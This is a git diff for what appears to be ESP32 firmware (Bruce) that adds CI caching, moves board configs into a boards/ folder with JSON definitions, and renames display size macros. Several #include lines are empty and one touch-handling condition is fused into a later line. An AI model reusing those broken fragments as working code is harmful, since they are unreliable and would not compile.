diff --git a/.github/workflows/PR_All_envs.yml b/.github/workflows/PR_All_envs.yml
index dae88969..ef4de649 100644
--- a/.github/workflows/PR_All_envs.yml
+++ b/.github/workflows/PR_All_envs.yml
@@ -164,9 +164,25 @@
- id: build
name: Setup Python
- uses: actions/setup-python@v2
+ uses: actions/setup-python@v4
with:
python-version: "3.x"
+
+ - name: Cache pip
+ uses: actions/cache@v4
+ with:
+ path: ~/.cache/pip
+ key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }}
+ restore-keys: |
+ ${{ runner.os }}-pip-
+
+ - name: Cache PlatformIO
+ uses: actions/cache@v4
+ with:
+ path: |
+ ~/.platformio
+ key: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }}
+ restore-keys: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }}
- name: Install Dependencies
run: |
diff --git a/.github/workflows/PR_check.yml b/.github/workflows/PR_check.yml
index b243fa1d..2c96c25c 100644
--- a/.github/workflows/PR_check.yml
+++ b/.github/workflows/PR_check.yml
@@ -62,10 +62,26 @@
- id: build
name: setup Python
- uses: actions/setup-python@v2
+ uses: actions/setup-python@v5
with:
python-version: "3.x"
-
+
+ - name: Cache pip
+ uses: actions/cache@v4
+ with:
+ path: ~/.cache/pip
+ key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }}
+ restore-keys: |
+ ${{ runner.os }}-pip-
+
+ - name: Cache PlatformIO
+ uses: actions/cache@v4
+ with:
+ path: |
+ ~/.platformio
+ key: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }}
+ restore-keys: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }}
+
- name: Install dependencies
run: |
pip install requests esptool
@@ -89,7 +105,7 @@
- name: Run Compile
run: |
platformio run -e ${{ matrix.board.env }}
-
+
- name: Merge files
run: |
esptool.py --chip esp32s3 merge_bin -o Bruce-${{ matrix.board.env }}.bin \
diff --git a/.github/workflows/buil_parallel.yml b/.github/workflows/buil_parallel.yml
index 0c55729e..87bef37f 100644
--- a/.github/workflows/buil_parallel.yml
+++ b/.github/workflows/buil_parallel.yml
@@ -200,6 +200,22 @@
with:
python-version: "3.x"
+ - name: Cache pip
+ uses: actions/cache@v4
+ with:
+ path: ~/.cache/pip
+ key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }}
+ restore-keys: |
+ ${{ runner.os }}-pip-
+
+ - name: Cache PlatformIO
+ uses: actions/cache@v4
+ with:
+ path: |
+ ~/.platformio
+ key: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }}
+ restore-keys: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }}
+
- name: Install dependencies
run: |
pip install requests esptool
diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index d8db32b8..b5b44e81 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -18,10 +18,26 @@ jobs:
uses: actions/checkout@v2
- name: Set up Python
- uses: actions/setup-python@v2
+ uses: actions/setup-python@v4
with:
python-version: "3.x"
+ - name: Cache pip
+ uses: actions/cache@v4
+ with:
+ path: ~/.cache/pip
+ key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }}
+ restore-keys: |
+ ${{ runner.os }}-pip-
+
+ - name: Cache PlatformIO
+ uses: actions/cache@v4
+ with:
+ path: |
+ ~/.platformio
+ key: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }}
+ restore-keys: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }}
+
- name: Install dependencies
run: pip install requests esptool
diff --git a/LAYOUT.md b/LAYOUT.md
new file mode 100644
index 00000000..0766ff04
--- /dev/null
+++ b/LAYOUT.md
@@ -0,0 +1,24 @@
+```
+.
+├── boards
+│ ├── [board]
+│ │ └── interface.cpp
+│ ├── pinouts
+│ │ ├── pins_arduino.h
+│ │ └── [board].h
+│ ├── [board].json
+│ └── [board].ini
+├── html
+├── media
+├── lib
+│ ├── utility
+│ └─ ...
+├── include
+│ └─ ...
+├── src
+│ ├── core
+│ ├── modules
+│ └── main.cpp
+├── test
+└── platformio.ini
+```
\ No newline at end of file
diff --git a/README.md b/README.md
index ea77ab44..126b0356 100644
--- a/README.md
+++ b/README.md
@@ -241,9 +241,6 @@ Other media can be [found here](./media/).
+ [@Luidiblu](https://github.com/Luidiblu) for logo and UI design assistance.
+ [@eadmaster](https://github.com/eadmaster) for adding a lot of features.
+ [@rennancockles](https://github.com/rennancockles) for a lot of RFID code, refactoring and others features.
-+ [@7h30th3r0n3](https://github.com/7h30th3r0n3) refactoring and a lot of help with WiFi attacks.
-+ [Smoochiee]() for Bruce PCB design.
-+ [TH3_KR4K3N]() for Stick cplus extender PCB design.
+ Everyone who contributed in some way to the project, thanks :heart:
## :construction: Disclaimer
diff --git a/ports/CYD-2432S028/platformio.ini b/boards/CYD-2432S028.ini
similarity index 94%
rename from ports/CYD-2432S028/platformio.ini
rename to boards/CYD-2432S028.ini
index 7339683d..09f2aa9f 100644
--- a/ports/CYD-2432S028/platformio.ini
+++ b/boards/CYD-2432S028.ini
@@ -10,16 +10,13 @@
##################################### CYD MODELS ####################################################
[env:CYD-2432S028]
-platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip
-board = esp32dev
+board = CYD-2432S028
monitor_speed = 115200
-monitor_filters = esp32_exception_decoder
-framework = arduino
board_build.partitions = custom_4Mb_full.csv
-build_src_filter =${env.build_src_filter} +<../ports/CYD-2432S028>
+build_src_filter =${env.build_src_filter} +<../boards/CYD-2432S028>
build_flags =
${env.build_flags}
- -Iports/CYD-2432S028
+ -Iboards/CYD-2432S028
-Os
-DCORE_DEBUG_LEVEL=5
;-DARDUINO_USB_CDC_ON_BOOT=1 ; Used only in ESP32-S3 to make Serial Comands work
@@ -112,8 +109,6 @@ build_flags =
;Screen Setup
-DHAS_SCREEN=1
-DROTATION=1
- -DWIDTH=320
- -DHEIGHT=220 ;240-20 lower margin
-DBACKLIGHT=21
-DMINBRIGHT=160
@@ -121,6 +116,8 @@ build_flags =
-DUSER_SETUP_LOADED=1
-DILI9341_2_DRIVER=1
-DUSE_HSPI_PORT=1
+ -DTFT_HEIGHT=320
+ -DTFT_WIDTH=240 ;240-20 lower margin
-DTFT_MISO=12
-DTFT_MOSI=13
-DTFT_SCLK=14
@@ -174,6 +171,15 @@ build_flags =
${env:CYD-2432S028.build_flags}
-DTFT_INVERSION_ON
+[env:LAUNCHER_CYD-2USB]
+extends=env:CYD-2432S028
+build_flags =
+ ${env:CYD-2432S028.build_flags}
+ -DTFT_INVERSION_ON
+ -DLITE_VERSION=1
+
+
+
[env:CYD-2432W328C]
extends = env:CYD-2432S028
build_flags =
@@ -185,6 +191,13 @@ build_flags =
-DSPI_TOUCH_FREQUENCY=2500000
-DHAS_CAPACITIVE_TOUCH=1
+[env:LAUNCHER_CYD-2432S028]
+extends=env:CYD-2432S028
+build_flags =
+ ${env:CYD-2432S028.build_flags}
+ -DLITE_VERSION=1
+
+
[env:CYD-2432W328C_2] # commom to CYD-2432S024 Capacitive board
extends = env:CYD-2432S028
build_flags =
@@ -196,19 +209,6 @@ build_flags =
-DSPI_TOUCH_FREQUENCY=2500000
-DHAS_CAPACITIVE_TOUCH=1
-[env:LAUNCHER_CYD-2432S028]
-extends=env:CYD-2432S028
-build_flags =
- ${env:CYD-2432S028.build_flags}
- -DLITE_VERSION=1
-
-[env:LAUNCHER_CYD-2USB]
-extends=env:CYD-2432S028
-build_flags =
- ${env:CYD-2432S028.build_flags}
- -DTFT_INVERSION_ON
- -DLITE_VERSION=1
-
[env:LAUNCHER_CYD-2432W328C]
extends=env:CYD-2432S028
build_flags =
diff --git a/boards/CYD-2432S028.json b/boards/CYD-2432S028.json
new file mode 100644
index 00000000..5d213cc6
--- /dev/null
+++ b/boards/CYD-2432S028.json
@@ -0,0 +1,40 @@
+{
+ "build": {
+ "arduino": {
+ "ldscript": "esp32_out.ld"
+ },
+ "core": "esp32",
+ "extra_flags": [
+ "-DARDUINO_ESP32_DEV",
+ "-DCYD_2432S028"
+ ],
+ "f_cpu": "240000000L",
+ "f_flash": "40000000L",
+ "flash_mode": "dio",
+ "mcu": "esp32",
+ "variant": "pinouts"
+ },
+ "connectivity": [
+ "wifi",
+ "bluetooth",
+ "ethernet",
+ "can"
+ ],
+ "debug": {
+ "openocd_board": "esp-wroom-32.cfg"
+ },
+ "frameworks": [
+ "arduino",
+ "espidf"
+ ],
+ "name": "Espressif ESP32 Dev Module",
+ "upload": {
+ "flash_size": "4MB",
+ "maximum_ram_size": 327680,
+ "maximum_size": 4194304,
+ "require_upload_port": true,
+ "speed": 460800
+ },
+ "url": "https://en.wikipedia.org/wiki/ESP32",
+ "vendor": "Espressif"
+}
diff --git a/ports/CYD-2432S028/interface.cpp b/boards/CYD-2432S028/interface.cpp
similarity index 95%
rename from ports/CYD-2432S028/interface.cpp
rename to boards/CYD-2432S028/interface.cpp
index e3bb6b81..62ecd7af 100644
--- a/ports/CYD-2432S028/interface.cpp
+++ b/boards/CYD-2432S028/interface.cpp
@@ -116,19 +116,19 @@ bool menuPress(int bot) {
//0 - prev
//1 - Sel
//2 - next
- int terco=WIDTH/3;
+ int terco=tftWidth/3;
if (touch.touched()) { //touch.tirqTouched() &&
auto t = touch.getPointScaled();
t = touch.getPointScaled();
//log_i("Touchscreen Pressed at x=%d, y=%d, z=%d", t.x,t.y,t.z);
if(bruceConfig.rotation==3) {
- t.y = (HEIGHT+20)-t.y;
- t.x = WIDTH-t.x;
+ t.y = (tftHeight+20)-t.y;
+ t.x = tftWidth-t.x;
}
- if(t.y>(HEIGHT) && ((t.x>terco*bot && t.x(tftHeight) && ((t.x>terco*bot && t.x19) {
@@ -417,7 +417,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.drawString(mytext, 5, 34);
}
//desenha o retangulo colorido
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
@@ -469,11 +469,11 @@ String keyboard(String mytext, int maxSize, String msg) {
auto t = touch.getPointScaled();
if(bruceConfig.rotation==3) {
- t.y = (HEIGHT+20)-t.y;
- t.x = WIDTH-t.x;
+ t.y = (tftHeight+20)-t.y;
+ t.x = tftWidth-t.x;
}
if (box_list[48].contain(t.x, t.y)) { break; } // Ok
- if (box_list[49].contain(t.x, t.y)) { caps=!caps; tft.fillRect(0,54,WIDTH,HEIGHT-54,bruceConfig.bgColor); goto THIS_END; } // CAP
+ if (box_list[49].contain(t.x, t.y)) { caps=!caps; tft.fillRect(0,54,tftWidth,tftHeight-54,bruceConfig.bgColor); goto THIS_END; } // CAP
if (box_list[50].contain(t.x, t.y)) goto DEL; // DEL
if (box_list[51].contain(t.x, t.y)) { mytext += box_list[51].key; goto ADD; } // SPACE
for(k=0;k<48;k++){
@@ -544,7 +544,7 @@ String keyboard(String mytext, int maxSize, String msg) {
}
//Resets screen when finished writing
- tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor);
+ tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor);
resetTftDisplay();
return mytext;
diff --git a/ports/ESP-General/platformio.ini b/boards/ESP-General.ini
similarity index 89%
rename from ports/ESP-General/platformio.ini
rename to boards/ESP-General.ini
index 590dbb5f..1948ff3f 100644
--- a/ports/ESP-General/platformio.ini
+++ b/boards/ESP-General.ini
@@ -24,19 +24,12 @@ extends = env:esp32-s3-devkitc-1
[env:esp32-s3-devkitc-1]
-platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip
-board = esp32-s3-devkitc-1
-framework = arduino
-build_src_filter =${env.build_src_filter} +<../ports/ESP-General>
+board = ESP-General
+build_src_filter =${env.build_src_filter} +<../boards/ESP-General>
build_flags =
${env.build_flags}
- -Iports/ESP-General
- -DESP32S3DEVKITC1
+ -Iboards/ESP-General
-DUSB_as_HID=1
- ; needed for serial
- -DARDUINO_USB_CDC_ON_BOOT=1
- -DBOARD_HAS_PSRAM
-
; grove pins
; defaults from https://github.com/espressif/arduino-esp32/blob/master/variants/esp32s3/pins_arduino.h
-DGROVE_SDA=8 ; default RF TX pin
@@ -64,8 +57,6 @@ build_flags =
; tft vars
-DROTATION=1
-DBACKLIGHT=-1 ; tft backlight pin
- -DWIDTH=240
- -DHEIGHT=135
-DMINBRIGHT=160 ; unused?
-DSMOOTH_FONT=1
-DTFT_DISPON=0x29
diff --git a/boards/ESP-General.json b/boards/ESP-General.json
new file mode 100644
index 00000000..e412fde5
--- /dev/null
+++ b/boards/ESP-General.json
@@ -0,0 +1,53 @@
+{
+ "build": {
+ "arduino":{
+ "ldscript": "esp32s3_out.ld",
+ "partitions": "default_8MB.csv"
+ },
+ "core": "esp32",
+ "extra_flags": [
+ "-DESP32S3DEVKITC1",
+ "-DARDUINO_ESP32S3_DEV",
+ "-DARDUINO_USB_MODE=1",
+ "-DARDUINO_RUNNING_CORE=1",
+ "-DARDUINO_EVENT_RUNNING_CORE=1",
+ "-DARDUINO_USB_CDC_ON_BOOT=1"
+ ],
+ "f_cpu": "240000000L",
+ "f_flash": "80000000L",
+ "flash_mode": "qio",
+ "hwids": [
+ [
+ "0x303A",
+ "0x1001"
+ ]
+ ],
+ "mcu": "esp32s3",
+ "variant": "pinouts"
+ },
+ "connectivity": [
+ "bluetooth",
+ "wifi"
+ ],
+ "debug": {
+ "default_tool": "esp-builtin",
+ "onboard_tools": [
+ "esp-builtin"
+ ],
+ "openocd_target": "esp32s3.cfg"
+ },
+ "frameworks": [
+ "arduino",
+ "espidf"
+ ],
+ "name": "Espressif ESP32-S3-DevKitC-1-N8 (8 MB QD, No PSRAM)",
+ "upload": {
+ "flash_size": "8MB",
+ "maximum_ram_size": 327680,
+ "maximum_size": 8388608,
+ "require_upload_port": true,
+ "speed": 460800
+ },
+ "url": "https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/hw-reference/esp32s3/user-guide-devkitc-1.html",
+ "vendor": "Espressif"
+ }
\ No newline at end of file
diff --git a/ports/ESP-General/interface.cpp b/boards/ESP-General/interface.cpp
similarity index 100%
rename from ports/ESP-General/interface.cpp
rename to boards/ESP-General/interface.cpp
diff --git a/boards/README.md b/boards/README.md
new file mode 100644
index 00000000..c23ff942
--- /dev/null
+++ b/boards/README.md
@@ -0,0 +1,35 @@
+```
+.
+├── platformio.ini
+├── boards
+ ├── [board]
+ │ └── interface.cpp
+ ├── pinouts
+ │ ├── pins_arduino.h
+ │ └── [board].h
+ ├── [board].json
+ └── [board].ini
+...
+```
+
+# Files
+(Replace \[board] with the board name)
+
+## boards/pinouts/pins_arduio.h
+This is where you will put the flag that will include your boards pinouts header.
+
+## boards/pinouts/\[board].h
+This is where you put the flags and pinouts to the board. Look at other boards for whats needed.
+Here is an official example and what we are actually using here:
+https://github.com/espressif/arduino-esp32/blob/master/variants/esp32s3/pins_arduino.h
+
+## boards/\[board]/interface.cpp
+This is where you do the board specific setup code
+
+## boards/\[board].json
+This is the board config. Look at other boards for whats needed.
+Here is an offical example and what we are actually using here:
+https://github.com/platformio/platform-espressif32/blob/master/boards/esp32-s3-devkitc-1.json
+
+## boards/\[board].ini
+This is the platformio config for the device. Look at other boards for whats needed.
\ No newline at end of file
diff --git a/boards/_New-Device-Model.ini b/boards/_New-Device-Model.ini
new file mode 100644
index 00000000..529d3966
--- /dev/null
+++ b/boards/_New-Device-Model.ini
@@ -0,0 +1,25 @@
+; PlatformIO Project Configuration File
+;
+; Build options: build flags, source filter
+; Upload options: custom upload port, speed and extra flags
+; Library options: dependencies, extra library storages
+; Advanced options: extra scripting
+;
+; Please visit documentation for the other options and examples
+; https://docs.platformio.org/page/projectconf.html
+
+[env:NewDeviceModel]
+board = _New-Device-Model
+board_build.partitions = custom_8Mb.csv
+build_flags =
+ ${env.build_flags}
+ -Iboards/_New-Device-Model
+ -Os
+ -DCORE_DEBUG_LEVEL=5
+ ;-DARDUINO_USB_CDC_ON_BOOT=1 ; Used only in ESP32-S3 to make Serial Comands work
+
+
+
+lib_deps =
+ ${env.lib_deps}
+ xylopyrographer/LiteLED@^1.2.0
diff --git a/boards/_New-Device-Model.json b/boards/_New-Device-Model.json
new file mode 100644
index 00000000..343018d2
--- /dev/null
+++ b/boards/_New-Device-Model.json
@@ -0,0 +1,47 @@
+{
+ "build": {
+ "arduino": {
+ "ldscript": "esp32s3_out.ld",
+ "partitions": "default_8MB.csv"
+ },
+ "core": "esp32",
+ "extra_flags": [
+ "-DNEW_DEVICE", // Device Flag
+ "-DARDUINO_USB_MODE=1",
+ "-DARDUINO_RUNNING_CORE=1",
+ "-DARDUINO_EVENT_RUNNING_CORE=1"
+ ],
+ "f_cpu": "240000000L",
+ "f_flash": "80000000L",
+ "flash_mode": "qio",
+ "hwids": [
+ [
+ "0x303A",
+ "0x1001"
+ ]
+ ],
+ "mcu": "esp32s3",
+ "variant": "m5stack_stamp_s3"
+ },
+ "connectivity": [
+ "bluetooth",
+ "wifi"
+ ],
+ "debug": {
+ "openocd_target": "esp32s3.cfg"
+ },
+ "frameworks": [
+ "arduino",
+ "espidf"
+ ],
+ "name": "M5Stack StampS3",
+ "upload": {
+ "flash_size": "8MB",
+ "maximum_ram_size": 327680,
+ "maximum_size": 8388608,
+ "require_upload_port": true,
+ "speed": 460800
+ },
+ "url": "https://docs.m5stack.com/en/core/StampS3",
+ "vendor": "M5Stack"
+ }
\ No newline at end of file
diff --git a/ports/_New-Device-Model/interface.cpp b/boards/_New-Device-Model/interface.cpp
similarity index 100%
rename from ports/_New-Device-Model/interface.cpp
rename to boards/_New-Device-Model/interface.cpp
diff --git a/ports/lilygo-t-deck/platformio.ini b/boards/lilygo-t-deck.ini
similarity index 86%
rename from ports/lilygo-t-deck/platformio.ini
rename to boards/lilygo-t-deck.ini
index 96905f0c..0fea45b9 100644
--- a/ports/lilygo-t-deck/platformio.ini
+++ b/boards/lilygo-t-deck.ini
@@ -9,27 +9,16 @@
; https://docs.platformio.org/page/projectconf.html
[env:lilygo-t-deck-pro]
-platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip
-board = lilygo-t-display-s3
-framework = arduino
+board = lilygo-t-deck
board_build.partitions = custom_16Mb.csv
-build_src_filter =${env.build_src_filter} +<../ports/lilygo-t-deck>
+build_src_filter =${env.build_src_filter} +<../boards/lilygo-t-deck>
build_flags =
${env.build_flags}
- -Iports/lilygo-t-deck
- -DBOARD_HAS_PSRAM
+ -Iboards/lilygo-t-deck
-mfix-esp32-psram-cache-issue
-mfix-esp32-psram-cache-strategy=memw
-Os
-DCORE_DEBUG_LEVEL=5
- -DARDUINO_USB_CDC_ON_BOOT=1 ; Used only in ESP32-S3 to make Serial Comands work
-
- -DT_DECK=1 ;key for new device,
- ;mykeyboard.cpp: need map buttons an/or touchscreen and battery status value,
- ;settings.cpp: need map brighness control
- ;main.cpp: need set startup
- ;serialcmds.cpp: need set power off command
-
;Features Enabled
# Config to use IRQ and RST pins of PN532, if needed
@@ -118,8 +107,6 @@ build_flags =
;Screen Setup
-DHAS_SCREEN=1
-DROTATION=1
- -DWIDTH=320
- -DHEIGHT=240
-DBACKLIGHT=42
-DMINBRIGHT=1
diff --git a/boards/lilygo-t-deck.json b/boards/lilygo-t-deck.json
new file mode 100644
index 00000000..609f8eb0
--- /dev/null
+++ b/boards/lilygo-t-deck.json
@@ -0,0 +1,55 @@
+{
+ "build": {
+ "arduino": {
+ "ldscript": "esp32s3_out.ld",
+ "partitions": "default_16MB.csv",
+ "memory_type": "qio_opi"
+ },
+ "core": "esp32",
+ "extra_flags": [
+ "-DT_DECK",
+ "-DBOARD_HAS_PSRAM",
+ "-DARDUINO_USB_MODE=1",
+ "-DARDUINO_RUNNING_CORE=1",
+ "-DARDUINO_EVENT_RUNNING_CORE=1",
+ "-DARDUINO_USB_CDC_ON_BOOT"
+ ],
+ "f_cpu": "240000000L",
+ "f_flash": "80000000L",
+ "flash_mode": "qio",
+ "hwids": [
+ [
+ "0x303A",
+ "0x1001"
+ ]
+ ],
+ "mcu": "esp32s3",
+ "variant": "pinouts"
+ },
+ "connectivity": [
+ "wifi",
+ "bluetooth",
+ "lora"
+ ],
+ "debug": {
+ "default_tool": "esp-builtin",
+ "onboard_tools": [
+ "esp-builtin"
+ ],
+ "openocd_target": "esp32s3.cfg"
+ },
+ "frameworks": [
+ "arduino",
+ "espidf"
+ ],
+ "name": "LilyGo T-Deck (16M Flash 8M OPI PSRAM)",
+ "upload": {
+ "flash_size": "16MB",
+ "maximum_ram_size": 327680,
+ "maximum_size": 16777216,
+ "require_upload_port": true,
+ "speed": 921600
+ },
+ "url": "https://www.lilygo.cc",
+ "vendor": "LilyGo"
+}
diff --git a/ports/lilygo-t-deck/interface.cpp b/boards/lilygo-t-deck/interface.cpp
similarity index 96%
rename from ports/lilygo-t-deck/interface.cpp
rename to boards/lilygo-t-deck/interface.cpp
index 44953292..486ab659 100644
--- a/ports/lilygo-t-deck/interface.cpp
+++ b/boards/lilygo-t-deck/interface.cpp
@@ -130,13 +130,12 @@ int getBattery() {
** location: settings.cpp
** set brightness value
**********************************************************************/
-void _setBrightness(uint8_t brightval) {
- if(brightval>100) brightval=100;
- if(brightval == 0){
- analogWrite(BACKLIGHT, brightval);
+void _setBrightness(uint8_t brightval) {
+ if(brightval == 0){
+ analogWrite(TFT_BL, brightval);
} else {
- int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval/100 ));
- analogWrite(BACKLIGHT, bl);
+ int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval /100 ));
+ analogWrite(TFT_BL, bl);
}
}
@@ -302,8 +301,8 @@ String keyboard(String mytext, int maxSize, String msg) {
{ '/', '/' } //12
}
};
- int _x = WIDTH/12;
- int _y = (HEIGHT - 54)/4;
+ int _x = tftWidth/12;
+ int _y = (tftHeight - 54)/4;
int _xo = _x/2-3;
#if defined(HAS_TOUCH)
@@ -353,7 +352,7 @@ String keyboard(String mytext, int maxSize, String msg) {
box_list[k].color = ~bruceConfig.bgColor;
box_list[k].x=159;
box_list[k].y=0;
- box_list[k].w=WIDTH-164;
+ box_list[k].w=tftWidth-164;
box_list[k].h=22;
k=0;
@@ -376,12 +375,12 @@ String keyboard(String mytext, int maxSize, String msg) {
//Draw the rectangles
if(y<0) {
- tft.fillRect(0,1,WIDTH,22,bruceConfig.bgColor);
+ tft.fillRect(0,1,tftWidth,22,bruceConfig.bgColor);
tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle
tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle
tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle
tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
if(x==0 && y==-1) { tft.setTextColor(bruceConfig.bgColor, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); }
@@ -411,7 +410,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.setTextSize(FM);
// reseta o quadrado do texto
- if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,WIDTH-3,20,bruceConfig.bgColor); // mystring Rectangle
+ if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,tftWidth-3,20,bruceConfig.bgColor); // mystring Rectangle
// escreve o texto
tft.setTextColor(TFT_WHITE);
if(mytext.length()>19) {
@@ -427,7 +426,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.drawString(mytext, 5, 34);
}
//desenha o retangulo colorido
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
@@ -525,7 +524,7 @@ String keyboard(String mytext, int maxSize, String msg) {
}
//Resets screen when finished writing
- tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor);
+ tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor);
resetTftDisplay();
return mytext;
diff --git a/boards/lilygo-t-embed-cc1101.ini b/boards/lilygo-t-embed-cc1101.ini
new file mode 100644
index 00000000..af6620dd
--- /dev/null
+++ b/boards/lilygo-t-embed-cc1101.ini
@@ -0,0 +1,25 @@
+
+[env:lilygo-t-embed-cc1101]
+board = lilygo-t-embed-cc1101
+board_build.arduino.memory_type = qio_opi
+board_build.partitions = custom_16Mb.csv
+build_src_filter =${env.build_src_filter} +<../boards/lilygo-t-embed-cc1101>
+build_flags =
+ ${env.build_flags}
+ -Iboards/lilygo-t-embed-cc1101
+ -O2
+ -DMIC_SPM1423
+ -mfix-esp32-psram-cache-issue
+ -mfix-esp32-psram-cache-strategy=memw
+ -DCORE_DEBUG_LEVEL=5
+ -DREDRAW_DELAY=1 # Used to improve navigation on menus for this device
+
+ -DRF_TX_PINS='{{"Pin 43", 43}, {"Pin 44", 44}}'
+ -DRF_RX_PINS='{{"Pin 43", 43}, {"Pin 44", 44}}'
+ -DIR_TX_PINS='{{"Default", 2}, {"Pin 43", 43}, {"Pin 44", 44}}'
+ -DIR_RX_PINS='{{"Default", 1}, {"Pin 43", 43}, {"Pin 44", 44}}'
+
+lib_deps =
+ ${env.lib_deps}
+ lewisxhe/XPowersLib @0.2.6
+ mathertel/RotaryEncoder @1.5.3
diff --git a/boards/lilygo-t-embed-cc1101.json b/boards/lilygo-t-embed-cc1101.json
new file mode 100644
index 00000000..b11a4f7c
--- /dev/null
+++ b/boards/lilygo-t-embed-cc1101.json
@@ -0,0 +1,63 @@
+{
+ "build": {
+ "arduino": {
+ "ldscript": "esp32s3_out.ld",
+ "partitions": "default_16MB.csv",
+ "memory_type": "qio_opi"
+ },
+ "core": "esp32",
+ "extra_flags": [
+ "-DT_EMBED_1101",
+ "-DBOARD_HAS_PSRAM",
+ "-DARDUINO_RUNNING_CORE=0",
+ "-DARDUINO_EVENT_RUNNING_CORE=0",
+ "-DARDUINO_USB_MODE=1",
+ "-DARDUINO_USB_CDC_ON_BOOT=1"
+ ],
+ "f_cpu": "240000000L",
+ "f_flash": "80000000L",
+ "flash_mode": "qio",
+ "hwids": [
+ [
+ "0x239A",
+ "0x811B"
+ ],
+ [
+ "0x239A",
+ "0x011B"
+ ],
+ [
+ "0x239A",
+ "0x811C"
+ ]
+ ],
+ "mcu": "esp32s3",
+ "variant": "pinouts"
+ },
+ "connectivity": [
+ "bluetooth",
+ "wifi",
+ "lora"
+ ],
+ "debug": {
+ "default_tool": "esp-builtin",
+ "onboard_tools": [
+ "esp-builtin"
+ ],
+ "openocd_target": "esp32s3.cfg"
+ },
+ "frameworks": [
+ "arduino",
+ "espidf"
+ ],
+ "name": "LilyGo T-Embed-PN532 (16M Flash 8M QSPI PSRAM)",
+ "upload": {
+ "flash_size": "16MB",
+ "maximum_ram_size": 327680,
+ "maximum_size": 16777216,
+ "require_upload_port": true,
+ "speed": 460800
+ },
+ "url": "https://www.lilygo.cc",
+ "vendor": "LilyGo"
+}
diff --git a/ports/lilygo-t-embed-cc1101/interface.cpp b/boards/lilygo-t-embed-cc1101/interface.cpp
similarity index 93%
rename from ports/lilygo-t-embed-cc1101/interface.cpp
rename to boards/lilygo-t-embed-cc1101/interface.cpp
index dd87e145..9cd4ee67 100644
--- a/ports/lilygo-t-embed-cc1101/interface.cpp
+++ b/boards/lilygo-t-embed-cc1101/interface.cpp
@@ -1,5 +1,6 @@
#include "core/powerSave.h"
#include "interface.h"
+#include
// defines to make life easy
#define PREV 0
@@ -17,8 +18,7 @@ IRAM_ATTR void checkPosition();
// Power handler for battery detection
#include
#include
- #include
- BQ27220 bq;
+ #include
XPowersPPM PPM;
#elif defined(T_EMBED)
#include
@@ -26,6 +26,11 @@ IRAM_ATTR void checkPosition();
#include
#include
#endif
+
+#ifdef USE_BQ27220_VIA_I2C
+ #include
+ BQ27220 bq;
+#endif
/***************************************************************************************
** Function name: _setup_gpio()
** Description: initial setup for the device
@@ -37,8 +42,8 @@ void _setup_gpio() {
#ifdef T_EMBED_1101
// T-Embed CC1101 has a antenna circuit optimized to each frequency band, controlled by SW0 and SW1
//Set antenna frequency settings
- pinMode(BOARD_LORA_SW1, OUTPUT);
- pinMode(BOARD_LORA_SW0, OUTPUT);
+ pinMode(CC1101_SW1_PIN, OUTPUT);
+ pinMode(CC1101_SW0_PIN, OUTPUT);
// Chip Select CC1101 to HIGH State
pinMode(CC1101_SS_PIN, OUTPUT);
@@ -92,7 +97,7 @@ void _setup_gpio() {
***************************************************************************************/
int getBattery() {
int percent=0;
- #if defined(T_EMBED_1101)
+ #if defined(USE_BQ27220_VIA_I2C)
percent=bq.getChargePcnt();
#elif defined(T_EMBED)
uint8_t _batAdcCh = ADC1_GPIO4_CHANNEL;
@@ -120,12 +125,11 @@ int getBattery() {
** set brightness value
**********************************************************************/
void _setBrightness(uint8_t brightval) {
- if(brightval>100) brightval=100;
- if(brightval == 0){
- analogWrite(BACKLIGHT, brightval);
+ if(brightval == 0){
+ analogWrite(TFT_BL, brightval);
} else {
- int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval/100 ));
- analogWrite(BACKLIGHT, bl);
+ int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval /100 ));
+ analogWrite(TFT_BL, bl);
}
}
